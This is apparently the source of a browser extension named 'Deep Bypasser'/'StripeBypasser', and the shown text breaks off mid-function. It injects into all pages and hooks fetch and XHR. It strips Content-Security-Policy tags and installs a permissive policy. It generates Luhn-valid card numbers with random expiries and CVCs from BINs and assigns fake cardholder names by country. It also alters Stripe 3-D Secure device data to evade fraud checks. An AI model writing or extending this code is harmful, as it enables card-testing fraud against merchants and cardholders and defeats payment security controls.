(() => {
  const contentScriptDefinition = {
    matches: ["<all_urls>"],
    runAt: "document_start",
    allFrames: true,
    world: "MAIN",
    async main() {
      const originalFetch = window.fetch;
      const originalXhrOpen = XMLHttpRequest.prototype.open;
      const originalXhrSend = XMLHttpRequest.prototype.send;
      window.__deepBypasserEarlyFetchQueue = [];
      window.__deepBypasserInterceptorReady = false;
      window.__deepBypasserOriginalFetch = originalFetch;
      window.__deepBypasserOriginalXHROpen = originalXhrOpen;
      window.__deepBypasserOriginalXHRSend = originalXhrSend;
      window.fetch = function proxyEarlyFetch(...fetchArgs) {
        if (window.__deepBypasserInterceptorReady && window.__deepBypasserInterceptedFetch) {
          return window.__deepBypasserInterceptedFetch.apply(this, fetchArgs);
        }
        return originalFetch.apply(this, fetchArgs);
      };
      XMLHttpRequest.prototype.open = function captureEarlyXhrOpen(
        requestMethod,
        requestUrl,
        ...openArgs
      ) {
        this.__requestUrl = typeof requestUrl === "string" ? requestUrl : requestUrl.toString();
        this.__requestMethod = requestMethod;
        return originalXhrOpen.apply(this, [requestMethod, requestUrl, ...openArgs]);
      };
      XMLHttpRequest.prototype.send = function proxyEarlyXhrSend(...sendArgs) {
        if (window.__deepBypasserInterceptorReady && window.__deepBypasserInterceptedXHRSend) {
          return window.__deepBypasserInterceptedXHRSend.apply(this, sendArgs);
        }
        return originalXhrSend.apply(this, sendArgs);
      };
      await Promise.resolve();
    }
  };
  (async () => {
    try {
      return await contentScriptDefinition.main();
    } catch (error) {
      console.error("[DeepBypasser] Content script bootstrap failed", error);
      throw error;
    }
  })();
  const stripeBypasserLogger = {
    log: (_message, _details) => {},
    debug: (_message, _details) => {},
    error: (message, details) => {
      console.error("[StripeBypasser]", message, details || "");
    },
    warn: (_message, _details) => {}
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserLogger = stripeBypasserLogger;
  }
  const workerScope =
    typeof globalThis !== "undefined" && typeof window === "undefined" ? globalThis : null;
  if (workerScope && typeof chrome !== "undefined") {
    workerScope.StripeBypasserLogger = stripeBypasserLogger;
  }
  const stripeBypasserFingerprint = {
    init() {}
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserFingerprint = stripeBypasserFingerprint;
  }
  let isCspPatchRunning = false;
  let cspPatchAttempts = 0;
  function removeCspMetaTags() {
    if (
      typeof document !== "undefined" &&
      document &&
      !isCspPatchRunning &&
      !(cspPatchAttempts >= 10)
    ) {
      isCspPatchRunning = true;
      cspPatchAttempts++;
      if (document && typeof document.querySelectorAll === "function") {
        let cspMetaTags = null;
        try {
          cspMetaTags = document.querySelectorAll(
            'meta[http-equiv="Content-Security-Policy"], meta[http-equiv="content-security-policy"]'
          );
        } catch (error) {
          isCspPatchRunning = false;
          return;
        }
        if (cspMetaTags && cspMetaTags.forEach) {
          cspMetaTags.forEach(item => {
            if (item && typeof item.remove === "function") {
              try {
                item.remove();
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
            }
          });
        }
        if (typeof document.createElement === "function") {
          let cspMetaTag = null;
          try {
            cspMetaTag = document.createElement("meta");
          } catch (error) {
            isCspPatchRunning = false;
            return;
          }
          if (cspMetaTag) {
            try {
              cspMetaTag.httpEquiv = "Content-Security-Policy";
              cspMetaTag.content =
                "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; script-src * 'unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval' data: blob:; style-src * 'unsafe-inline' data: blob:; img-src * data: blob:; font-src * data: blob:; connect-src * data: blob:; worker-src * blob: 'unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval'; child-src * blob: data:; frame-src * blob: data:; object-src *; media-src * data: blob:;";
              let docHead = document.head;
              if (!docHead && document.getElementsByTagName) {
                const headElements = document.getElementsByTagName("head");
                const [firstHeadElement] = headElements;
                if (headElements && firstHeadElement) {
                  docHead = firstHeadElement;
                }
              }
              if (docHead && typeof docHead.insertBefore === "function") {
                docHead.insertBefore(cspMetaTag, docHead.firstChild);
              }
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
          }
        }
        isCspPatchRunning = false;
      } else {
        isCspPatchRunning = false;
      }
    }
  }
  if (typeof document !== "undefined" && document) {
    try {
      if (document.readyState === "loading" && typeof document.addEventListener === "function") {
        document.addEventListener("DOMContentLoaded", removeCspMetaTags, {
          once: true
        });
      } else {
        removeCspMetaTags();
      }
    } catch (error) {
      try {
        removeCspMetaTags();
      } catch (innerError) {
        console.warn("[Deep Bypasser] Operation failed", innerError.message);
      }
    }
    try {
      if (typeof setTimeout === "function") {
        setTimeout(removeCspMetaTags, 0);
        setTimeout(removeCspMetaTags, 100);
        setTimeout(removeCspMetaTags, 500);
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    if (typeof window !== "undefined") {
      try {
        const stripeBypasserCspRemover = {
          removeCSPMetaTags: removeCspMetaTags
        };
        window.StripeBypasserCSPRemover = stripeBypasserCspRemover;
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
  }
  function sendToBackground(message, toBackgroundCallback) {
    try {
      if (typeof chrome === "undefined" || !chrome.runtime || !chrome.runtime.sendMessage) {
        if (toBackgroundCallback) {
          toBackgroundCallback({
            success: false,
            error: "Runtime not available"
          });
        }
        return;
      }
      chrome.runtime.sendMessage(message, bgResponse => {
        if (chrome.runtime.lastError) {
          const error = chrome.runtime.lastError.message;
          if (
            !!error &&
            !error.includes("message channel closed") &&
            !error.includes("background page") &&
            !error.includes("Extension context invalidated")
          ) {
            console.warn("[MessageBridge] Runtime error:", error);
          }
          if (toBackgroundCallback) {
            toBackgroundCallback({
              success: false,
              error
            });
          }
          return;
        }
        if (toBackgroundCallback) {
          toBackgroundCallback(
            bgResponse || {
              success: true
            }
          );
        }
      });
    } catch (error) {
      const errorPayload = {
        success: false,
        error: error.message
      };
      if (toBackgroundCallback) {
        toBackgroundCallback(errorPayload);
      }
    }
  }
  function sendToMainWorld(message) {
    try {
      const targetWindow = window.top !== window.self ? window.top : window;
      if (targetWindow && targetWindow.postMessage) {
        targetWindow.postMessage(message, "*");
        if (targetWindow !== window) {
          window.postMessage(message, "*");
        }
        return true;
      }
      window.postMessage(message, "*");
      return true;
    } catch (error) {
      return false;
    }
  }
  const stripeBypasserMessageBridge = {
    sendToBackground,
    sendToMainWorld
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserMessageBridge = stripeBypasserMessageBridge;
  }
  let settingsCache = {
    hardwareAcceleration: true,
    reduceAnimations: false,
    lastUpdate: 0,
    cacheTTL: 1000
  };
  function getPerformanceSettings() {
    const now = Date.now();
    if (now - settingsCache.lastUpdate < settingsCache.cacheTTL) {
      return {
        hardwareAcceleration: settingsCache.hardwareAcceleration,
        reduceAnimations: settingsCache.reduceAnimations
      };
    }
    let hardwareAcceleration = true;
    let reduceAnimations = false;
    if (typeof window !== "undefined" && window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
      const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__;
      hardwareAcceleration = advancedSettings.hardwareAcceleration !== false;
      reduceAnimations = advancedSettings.reduceAnimations === true;
    } else if (typeof chrome !== "undefined" && chrome.storage) {
      try {
        const storageData = chrome.storage.local.get(["bypasserAdvancedSettings"]);
        if (storageData && storageData.bypasserAdvancedSettings) {
          const advancedSettings = storageData.bypasserAdvancedSettings;
          hardwareAcceleration = advancedSettings.hardwareAcceleration !== false;
          reduceAnimations = advancedSettings.reduceAnimations === true;
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    const updatedSettingsCache = {
      hardwareAcceleration,
      reduceAnimations,
      lastUpdate: now
    };
    const perfSettingsReturn = {
      hardwareAcceleration,
      reduceAnimations
    };
    settingsCache = updatedSettingsCache;
    return perfSettingsReturn;
  }
  function shouldUseHardwareAcceleration() {
    return getPerformanceSettings().hardwareAcceleration;
  }
  function shouldReduceAnimations() {
    return getPerformanceSettings().reduceAnimations;
  }
  function applyHardwareAcceleration(element, isEnabled = false) {
    if (element && element.style !== undefined) {
      if (isEnabled || shouldUseHardwareAcceleration()) {
        element.style.setProperty("transform", "translateZ(0)", "important");
        element.style.setProperty("will-change", "transform, opacity", "important");
        element.style.setProperty("backface-visibility", "hidden", "important");
        element.style.setProperty("-webkit-backface-visibility", "hidden", "important");
      } else {
        element.style.removeProperty("transform");
        element.style.removeProperty("will-change");
        element.style.removeProperty("backface-visibility");
        element.style.removeProperty("-webkit-backface-visibility");
      }
    }
  }
  function getAnimationDuration(duration) {
    if (shouldReduceAnimations()) {
      return 0;
    }
    return duration;
  }
  function getThrottleInterval(interval, timeoutMs = 3) {
    if (shouldReduceAnimations()) {
      return interval * timeoutMs;
    }
    return interval;
  }
  function updatePerformanceSettingsCache() {
    settingsCache.lastUpdate = 0;
  }
  function applyPerformanceSettingsToBody() {
    if (typeof document === "undefined" || !document.body) {
      return;
    }
    const currentSettings = getPerformanceSettings();
    if (currentSettings.reduceAnimations) {
      document.body.setAttribute("data-reduce-animations", "true");
    } else {
      document.body.removeAttribute("data-reduce-animations");
    }
    if (currentSettings.hardwareAcceleration) {
      document.body.setAttribute("data-hardware-acceleration", "true");
    } else {
      document.body.removeAttribute("data-hardware-acceleration");
    }
  }
  if (typeof window !== "undefined") {
    window.addEventListener("message", event => {
      if (
        event.data &&
        event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
        event.data.settings
      ) {
        window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
        updatePerformanceSettingsCache();
        applyPerformanceSettingsToBody();
      }
    });
    if (typeof chrome !== "undefined" && chrome.storage) {
      chrome.storage.onChanged.addListener((changes, areaName) => {
        if (areaName === "local" && changes.bypasserAdvancedSettings) {
          updatePerformanceSettingsCache();
          window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ =
            changes.bypasserAdvancedSettings.newValue || {};
          applyPerformanceSettingsToBody();
        }
      });
    }
    if (document.readyState === "loading") {
      document.addEventListener("DOMContentLoaded", applyPerformanceSettingsToBody);
    } else {
      applyPerformanceSettingsToBody();
    }
  }
  function luhnCheck(cardNumber) {
    let checksum = 0;
    let shouldDoubleDigit = false;
    for (let digitIndex = cardNumber.length - 1; digitIndex >= 0; digitIndex--) {
      let digit = parseInt(cardNumber[digitIndex]);
      if (shouldDoubleDigit) {
        digit *= 2;
        if (digit > 9) {
          digit -= 9;
        }
      }
      checksum += digit;
      shouldDoubleDigit = !shouldDoubleDigit;
    }
    return checksum % 10 === 0;
  }
  function generateCheckDigit(partialCardNumber) {
    let checksum = 0;
    let shouldDouble = true;
    for (let digitIndex = partialCardNumber.length - 1; digitIndex >= 0; digitIndex--) {
      let digit = parseInt(partialCardNumber[digitIndex], 10);
      if (shouldDouble) {
        digit *= 2;
        if (digit > 9) {
          digit -= 9;
        }
      }
      checksum += digit;
      shouldDouble = !shouldDouble;
    }
    return ((10 - (checksum % 10)) % 10).toString();
  }
  function generateRandomDigits(length) {
    let randomDigits = "";
    for (let digitIndex = 0; digitIndex < length; digitIndex++) {
      randomDigits += Math.floor(Math.random() * 10).toString();
    }
    return randomDigits;
  }
  function isValidBin(binValue) {
    if (!binValue || typeof binValue !== "string") {
      return false;
    }
    const normalizedText = binValue.replace(/[^0-9]/g, "");
    return normalizedText.length >= 6 && normalizedText.length <= 16;
  }
  function parseBin(binInput) {
    if (!binInput || !binInput.trim()) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[CardGenerator] Empty BIN string provided");
      }
      return null;
    }
    const normalizedText = binInput.trim();
    if (normalizedText.includes("|") || normalizedText.includes("/")) {
      const valueSeparator = normalizedText.includes("|") ? "|" : "/";
      const mappedItems = normalizedText.split(valueSeparator).map(item => item.trim());
      if (mappedItems.length >= 2) {
        const extractedBin = mappedItems[0].replace(/[^0-9]/g, "");
        if (isValidBin(extractedBin)) {
          return {
            bin: extractedBin,
            month: mappedItems[1] || null,
            year: mappedItems[2] || null,
            cvc: mappedItems[3] || null
          };
        }
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("[CardGenerator] Invalid BIN format:", extractedBin);
        }
        return null;
      }
    }
    const normalizedBinPattern = normalizedText.replace(/[^0-9xX]/g, "");
    if (normalizedBinPattern.length === 0) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[CardGenerator] No digits found in BIN:", binInput);
      }
      return null;
    }
    const bin = normalizedBinPattern.replace(/[xX]/g, "");
    if (isValidBin(bin)) {
      return {
        bin,
        month: null,
        year: null,
        cvc: null
      };
    }
    if (stripeBypasserLogger) {
      stripeBypasserLogger.warn("[CardGenerator] Invalid BIN length:", bin.length, "BIN:", bin);
    }
    return null;
  }
  function generateCard(binData, isEnabled = true) {
    if (!binData || !binData.bin) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[CardGenerator] No BIN data provided");
      }
      return null;
    }
    let binValue = binData.bin;
    if (!isValidBin(binValue)) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("[CardGenerator] Invalid BIN provided:", binValue);
      }
      return null;
    }
    const isAmericanExpressBin = binValue.startsWith("34") || binValue.startsWith("37");
    const expectedCardNumberLength = isAmericanExpressBin ? 15 : 16;
    if (binValue.length > expectedCardNumberLength) {
      binValue = binValue.substring(0, expectedCardNumberLength);
    }
    if (binValue.length < 6) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("[CardGenerator] BIN too short after processing:", binValue);
      }
      return null;
    }
    const remainingCardDigits = expectedCardNumberLength - binValue.length - 1;
    if (remainingCardDigits < 0) {
      binValue = binValue.substring(0, expectedCardNumberLength - 1);
    }
    const partialCardNumber = binValue + generateRandomDigits(Math.max(0, remainingCardDigits));
    let number = partialCardNumber + generateCheckDigit(partialCardNumber);
    if (number.length !== expectedCardNumberLength && number.length > expectedCardNumberLength) {
      number = number.substring(0, expectedCardNumberLength);
      number =
        number.substring(0, expectedCardNumberLength - 1) +
        generateCheckDigit(number.substring(0, expectedCardNumberLength - 1));
    }
    if (!luhnCheck(number)) {
      const fallbackPartialCardNumber =
        binValue + generateRandomDigits(Math.max(0, remainingCardDigits));
      number = fallbackPartialCardNumber + generateCheckDigit(fallbackPartialCardNumber);
      if (!luhnCheck(number)) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.error("Failed to generate a Luhn-valid card after two attempts.");
        }
        return null;
      }
    }
    const month = binData.month || String(Math.floor(Math.random() * 12) + 1).padStart(2, "0");
    const currentYear = new Date().getFullYear();
    const rawYearValue = binData.year || String(currentYear + Math.floor(Math.random() * 10) + 1);
    let year;
    if (rawYearValue.length === 2) {
      year = parseInt(rawYearValue, 10) <= 30 ? "20" + rawYearValue : "19" + rawYearValue;
    } else if (rawYearValue.length === 4) {
      year = rawYearValue;
    } else {
      year = String(currentYear + Math.floor(Math.random() * 10) + 1);
    }
    const parsedNumber = parseInt(year, 10);
    if (parsedNumber < currentYear || parsedNumber > currentYear + 20) {
      year = String(currentYear + Math.floor(Math.random() * 10) + 1);
    }
    const expectedSecurityCodeLength = isAmericanExpressBin ? 4 : 3;
    return {
      number,
      month,
      year,
      cvc:
        binData.cvc ||
        (isEnabled ? generateRandomDigits(expectedSecurityCodeLength) : null) ||
        (isAmericanExpressBin ? "0000" : "000")
    };
  }
  function registerCardGeneratorGlobals() {
    if (typeof window !== "undefined") {
      const stripeBypasserCardGenerator = {
        parseBin,
        generateCard,
        luhnCheck,
        validateBin: isValidBin
      };
      window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
      if (typeof globalThis !== "undefined") {
        globalThis.StripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
      }
      try {
        if (typeof document !== "undefined" && document.dispatchEvent) {
          document.dispatchEvent(
            new CustomEvent("stripeBypasserCardGeneratorReady", {
              detail: {
                ready: true
              }
            })
          );
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
  }
  registerCardGeneratorGlobals();
  if (typeof window !== "undefined" || typeof document !== "undefined") {
    if (document.readyState === "loading") {
      document.addEventListener("DOMContentLoaded", registerCardGeneratorGlobals, {
        once: true
      });
    }
    setTimeout(registerCardGeneratorGlobals, 0);
    setTimeout(registerCardGeneratorGlobals, 50);
    setTimeout(registerCardGeneratorGlobals, 100);
  }
  function resolveLocalizedCountryCode(countryInput = null) {
    const countryCandidates = [countryInput];
    try {
      if (typeof window !== "undefined") {
        countryCandidates.push(window.__STRIPE_BYPASSER_LAST_COUNTRY_CODE__);
        countryCandidates.push((window.__STRIPE_BYPASSER_DEFAULT_COUNTRY_DATA__ || {}).country);
      }
      if (typeof navigator !== "undefined") {
        countryCandidates.push(navigator.language);
        if (Array.isArray(navigator.languages) && navigator.languages.length > 0) {
          countryCandidates.push(navigator.languages[0]);
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    for (const candidate of countryCandidates) {
      if (!candidate || typeof candidate !== "string") {
        continue;
      }
      const trimmedValue = candidate.trim();
      if (!trimmedValue) {
        continue;
      }
      const normalizedCountryName = {
        INDIA: "IN",
        "UNITED STATES": "US",
        USA: "US",
        "UNITED STATES OF AMERICA": "US",
        "UNITED KINGDOM": "GB",
        UK: "GB",
        "GREAT BRITAIN": "GB",
        CANADA: "CA",
        AUSTRALIA: "AU",
        GERMANY: "DE",
        DEUTSCHLAND: "DE",
        FRANCE: "FR",
        ITALY: "IT",
        ITALIA: "IT",
        SPAIN: "ES",
        ESPANA: "ES",
        NETHERLANDS: "NL",
        HOLLAND: "NL",
        JAPAN: "JP",
        CHINA: "CN",
        BRAZIL: "BR",
        BRASIL: "BR",
        RUSSIA: "RU",
        "RUSSIAN FEDERATION": "RU",
        "SOUTH KOREA": "KR",
        KOREA: "KR",
        MEXICO: "MX"
      }[trimmedValue.toUpperCase()];
      if (normalizedCountryName) {
        return normalizedCountryName;
      }
      if (/^[A-Za-z]{2}$/.test(trimmedValue)) {
        return trimmedValue.toUpperCase();
      }
      const localeCountryCodeMatch = trimmedValue.match(/[-_]([A-Za-z]{2})$/);
      if (localeCountryCodeMatch) {
        return localeCountryCodeMatch[1].toUpperCase();
      }
    }
    return "US";
  }
  function getLocalizedCardholderName(countryInput = null) {
    const countryCode = resolveLocalizedCountryCode(countryInput);
    const exactNameMap = {
      AD: "Marc Vila",
      AE: "خالد المنصوري",
      AF: "Ahmad Rahimi",
      AL: "Ardit Kola",
      AM: "Արման Մկրտչյան",
      AR: "Lucia Fernandez",
      AT: "Lukas Gruber",
      AU: "Charlotte Parker",
      AZ: "Rashad Mammadov",
      BD: "Fahim Rahman",
      BG: "Иван Георгиев",
      BH: "حسن العلي",
      BN: "Nur Hidayah",
      BR: "Joao Pereira",
      BY: "Андрей Ковалёв",
      CA: "Olivia Bennett",
      CH: "Luca Bianchi",
      CN: "王伟",
      CY: "Ανδρέας Νικολάου",
      CZ: "Jan Novak",
      DE: "Lukas Weber",
      DK: "Mikkel Jensen",
      EG: "أحمد حسن",
      ES: "Alejandro Martin",
      FI: "Elias Korhonen",
      FR: "Lucas Martin",
      GB: "Oliver Bennett",
      GE: "ნიკა ბერიძე",
      GR: "Γιώργος Παπαδόπουλος",
      HK: "陳家豪",
      HR: "Ivan Horvat",
      HU: "Bence Nagy",
      ID: "Budi Santoso",
      IE: "Cian Murphy",
      IL: "יואב כהן",
      IN: "Aarav Sharma",
      IQ: "علي الجبوري",
      IR: "علی رضایی",
      IS: "Jonas Sigurdsson",
      IT: "Luca Romano",
      JP: "佐藤 大輔",
      JO: "ليث الخطيب",
      KH: "Sok Dara",
      KR: "김민준",
      KW: "عبدالله العتيبي",
      KZ: "Алихан Нурланов",
      LA: "Souksavanh Vongsa",
      LB: "Karim Haddad",
      LK: "Nimal Perera",
      LT: "Matas Kazlauskas",
      LV: "Martins Ozols",
      MA: "Youssef El Idrissi",
      MM: "Aung Min",
      MN: "Бат-Эрдэнэ Ганбат",
      MO: "陳嘉豪",
      MX: "Sofia Hernandez",
      MY: "Aisyah Rahman",
      NG: "Chinedu Okafor",
      NL: "Daan Visser",
      NO: "Erik Johansen",
      NP: "Suman Shrestha",
      NZ: "Charlotte Walker",
      OM: "سالم الحارثي",
      PH: "Maria Santos",
      PK: "Ahmed Khan",
      PL: "Piotr Kowalski",
      PT: "Joao Fernandes",
      QA: "ناصر الكواري",
      RO: "Andrei Popescu",
      RS: "Никола Петровић",
      RU: "Алексей Смирнов",
      SA: "محمد القحطاني",
      SE: "Erik Johansson",
      SG: "Marcus Tan",
      SI: "Luka Novak",
      SK: "Martin Kovac",
      TH: "สมชาย วงศ์สุวรรณ",
      TR: "Emre Yilmaz",
      TW: "陳冠廷",
      UA: "Олександр Шевченко",
      US: "Michael Carter",
      UZ: "Bekzod Karimov",
      VE: "Valeria Gonzalez",
      VN: "Nguyen Minh Anh",
      ZA: "Thabo Mokoena",
      ZW: "Tendai Moyo"
    };
    if (Object.prototype.hasOwnProperty.call(exactNameMap, countryCode)) {
      return exactNameMap[countryCode];
    }
    const arabicCountryCodes = new Set([
      "DZ",
      "EH",
      "KM",
      "DJ",
      "ER",
      "LB",
      "LY",
      "MR",
      "PS",
      "SD",
      "SO",
      "SY",
      "TD",
      "TN",
      "YE"
    ]);
    const spanishSpeakingCountryCodes = new Set([
      "BO",
      "CL",
      "CO",
      "CR",
      "CU",
      "DO",
      "EC",
      "GQ",
      "GT",
      "HN",
      "NI",
      "PA",
      "PE",
      "PR",
      "PY",
      "SV",
      "UY"
    ]);
    const portugueseSpeakingCountryCodes = new Set(["AO", "CV", "GW", "MZ", "ST", "TL"]);
    const frenchSpeakingCountryCodes = new Set([
      "BE",
      "BF",
      "BI",
      "BJ",
      "CD",
      "CG",
      "CI",
      "CM",
      "GA",
      "GF",
      "GN",
      "GP",
      "LU",
      "MC",
      "MF",
      "ML",
      "MQ",
      "MU",
      "NC",
      "NE",
      "PF",
      "PM",
      "RE",
      "RW",
      "SC",
      "SN",
      "TG",
      "VU",
      "WF",
      "YT"
    ]);
    const germanicCountryCodes = new Set(["LI"]);
    const nordicCountryCodes = new Set(["FO"]);
    const slavicCountryCodes = new Set(["BA", "ME", "MK", "KG", "TJ"]);
    const eastAfricanCountryCodes = new Set(["ET", "KE", "RW", "TZ", "UG"]);
    const westAfricanCountryCodes = new Set([
      "BJ",
      "CI",
      "GH",
      "GM",
      "GN",
      "LR",
      "NG",
      "SL",
      "SN",
      "TG"
    ]);
    const southernAfricanCountryCodes = new Set(["BW", "LS", "MW", "MZ", "NA", "SZ", "ZM"]);
    const caribbeanCountryCodes = new Set([
      "AG",
      "AI",
      "AW",
      "BB",
      "BS",
      "BZ",
      "DM",
      "GD",
      "GY",
      "JM",
      "KN",
      "KY",
      "LC",
      "MS",
      "SR",
      "TC",
      "TT",
      "VC",
      "VG",
      "VI"
    ]);
    const pacificCountryCodes = new Set([
      "FJ",
      "FM",
      "GU",
      "KI",
      "MH",
      "MP",
      "NR",
      "PG",
      "PW",
      "SB",
      "TO",
      "TV",
      "WS"
    ]);
    if (arabicCountryCodes.has(countryCode)) {
      return "محمد الأحمد";
    }
    if (spanishSpeakingCountryCodes.has(countryCode)) {
      return "Carlos Mendoza";
    }
    if (portugueseSpeakingCountryCodes.has(countryCode)) {
      return "Joao Pereira";
    }
    if (frenchSpeakingCountryCodes.has(countryCode)) {
      return "Jean Dupont";
    }
    if (germanicCountryCodes.has(countryCode)) {
      return "Lukas Weber";
    }
    if (nordicCountryCodes.has(countryCode)) {
      return "Erik Johansson";
    }
    if (slavicCountryCodes.has(countryCode)) {
      return "Milan Petrovic";
    }
    if (eastAfricanCountryCodes.has(countryCode)) {
      return "Brian Mwangi";
    }
    if (westAfricanCountryCodes.has(countryCode)) {
      return "Mamadou Diallo";
    }
    if (southernAfricanCountryCodes.has(countryCode)) {
      return "Sipho Dlamini";
    }
    if (caribbeanCountryCodes.has(countryCode)) {
      return "Aaliyah Clarke";
    }
    if (pacificCountryCodes.has(countryCode)) {
      return "Noah Tavita";
    }
    return "Michael Carter";
  }
  function getRandomLocalizedCardholderName(countryInput = null) {
    const countryCode = resolveLocalizedCountryCode(countryInput);
    const randomNamePool = {
      CN: ["王伟", "李娜", "张磊"],
      JP: ["佐藤 大輔", "鈴木 健太", "高橋 翔太"],
      KR: ["김민준", "이서준", "박지훈"],
      TH: ["สมชาย วงศ์สุวรรณ", "กิตติพงศ์ แสงทอง", "ศิริพร ชัยวัฒน์"],
      VN: ["Nguyen Minh Anh", "Tran Quoc Bao", "Le Hoang Nam"],
      PH: ["Maria Santos", "Daniel Reyes", "Angela Cruz"],
      IN: ["Aarav Sharma", "Priya Patel", "Rohan Gupta"],
      ID: ["Budi Santoso", "Siti Maharani", "Rizky Pratama"],
      MY: ["Aisyah Rahman", "Daniel Lee", "Nurul Huda"],
      SG: ["Marcus Tan", "Cheryl Lim", "Ryan Koh"],
      US: ["Michael Carter", "Emily Johnson", "Daniel Brooks"],
      GB: ["Oliver Bennett", "Amelia Clarke", "Harry Collins"],
      FR: ["Lucas Martin", "Camille Bernard", "Nina Dubois"],
      DE: ["Lukas Weber", "Anna Fischer", "Jonas Braun"],
      BR: ["Joao Pereira", "Mariana Costa", "Pedro Almeida"],
      MX: ["Sofia Hernandez", "Diego Ramirez", "Valeria Flores"],
      RU: ["Алексей Смирнов", "Мария Иванова", "Дмитрий Волков"],
      AE: ["خالد المنصوري", "مريم الشامسي", "ناصر الكعبي"],
      SA: ["محمد القحطاني", "عبدالله السبيعي", "ريم العتيبي"],
      EG: ["أحمد حسن", "محمود سامي", "نورا شريف"]
    };
    const namePool = randomNamePool[countryCode];
    if (Array.isArray(namePool) && namePool.length > 0) {
      return namePool[Math.floor(Math.random() * namePool.length)];
    }
    return getLocalizedCardholderName(countryCode);
  }
  function getDefaultCardholderName(countryInput = null) {
    try {
      if (typeof window !== "undefined") {
        const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ || {};
        if (
          advancedSettings.customName &&
          typeof advancedSettings.customName === "string" &&
          advancedSettings.customName.trim()
        ) {
          return advancedSettings.customName.trim();
        }
        const defaultAutofillName = window.__STRIPE_BYPASSER_AUTOFILL_DEFAULT_NAME;
        if (
          defaultAutofillName &&
          typeof defaultAutofillName === "string" &&
          defaultAutofillName.trim()
        ) {
          return defaultAutofillName.trim();
        }
      }
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn(
          "[PayloadManipulator] Could not resolve default cardholder name",
          error
        );
      }
    }
    return getLocalizedCardholderName(countryInput);
  }
  function getCardBrand(cardNumber) {
    if (!cardNumber) {
      return "UNKNOWN";
    }
    const normalizedCardNumber = String(cardNumber).replace(/\s+/g, "");
    const firstDigit = normalizedCardNumber[0];
    const firstTwoDigits = normalizedCardNumber.substring(0, 2);
    const firstThreeDigits = normalizedCardNumber.substring(0, 3);
    const firstFourDigits = normalizedCardNumber.substring(0, 4);
    if (firstTwoDigits === "34" || firstTwoDigits === "37") {
      return "AMEX";
    }
    if (firstDigit === "4") {
      return "VISA";
    }
    const twoDigitPrefix = parseInt(firstTwoDigits, 10);
    if (twoDigitPrefix >= 51 && twoDigitPrefix <= 55) {
      return "MASTERCARD";
    }
    const fourDigitPrefix = parseInt(firstFourDigits, 10);
    if (fourDigitPrefix >= 2221 && fourDigitPrefix <= 2720) {
      return "MASTERCARD";
    }
    if (firstFourDigits === "6011" || firstTwoDigits === "65") {
      return "DISCOVER";
    }
    const threeDigitPrefix = parseInt(firstThreeDigits, 10);
    if (threeDigitPrefix >= 644 && threeDigitPrefix <= 649) {
      return "DISCOVER";
    }
    if (firstTwoDigits === "35") {
      return "JCB";
    }
    if (firstTwoDigits === "30" || firstTwoDigits === "36" || firstTwoDigits === "38") {
      return "DINERS";
    }
    if (firstTwoDigits === "62" || firstTwoDigits === "81" || firstTwoDigits === "82") {
      return "UNIONPAY";
    }
    return "UNKNOWN";
  }
  function decodeAndModify(requestBodyText) {
    if (!requestBodyText || typeof requestBodyText !== "string") {
      return {
        modified: false,
        body: requestBodyText
      };
    }
    let cleanedBody = requestBodyText;
    let modified = false;
    cleanedBody = cleanedBody.replace(/"locale":"[^"]*"/gi, '"locale":""');
    cleanedBody = cleanedBody.replace(/"browser_locale":"[^"]*"/gi, '"browser_locale":""');
    cleanedBody = cleanedBody.replace(/"language":"[^"]*"/gi, '"language":""');
    cleanedBody = cleanedBody.replace(/"browserLanguage":"[^"]*"/gi, '"browserLanguage":""');
    cleanedBody = cleanedBody.replace(/locale=[^&]*/gi, "locale=");
    cleanedBody = cleanedBody.replace(/browser_locale=[^&]*/gi, "browser_locale=");
    cleanedBody = cleanedBody.replace(/browserLanguage=[^&]*/gi, "browserLanguage=");
    if (cleanedBody !== requestBodyText) {
      modified = true;
    }
    const deviceDataMatch = cleanedBody.match(/three_d_secure%5Bdevice_data%5D=([^&]*)/);
    if (deviceDataMatch) {
      try {
        const encodedDeviceData = deviceDataMatch[1];
        const decodedDeviceData = decodeURIComponent(encodedDeviceData);
        try {
          const decodedDeviceJson = atob(decodedDeviceData);
          const deviceData = JSON.parse(decodedDeviceJson);
          for (const fieldName of ["browser_locale", "locale", "language", "browserLanguage"]) {
            if (fieldName in deviceData) {
              deviceData[fieldName] = "";
              modified = true;
            }
          }
          for (const fieldName of [
            "timezone",
            "user_agent",
            "screen_width",
            "screen_height",
            "color_depth"
          ]) {
            if (fieldName in deviceData) {
              delete deviceData[fieldName];
              modified = true;
            }
          }
          const serializedData = JSON.stringify(deviceData);
          const encodedBase64Data = btoa(serializedData);
          const encodedDeviceDataParam = encodeURIComponent(encodedBase64Data);
          cleanedBody = cleanedBody.replace(
            deviceDataMatch[0],
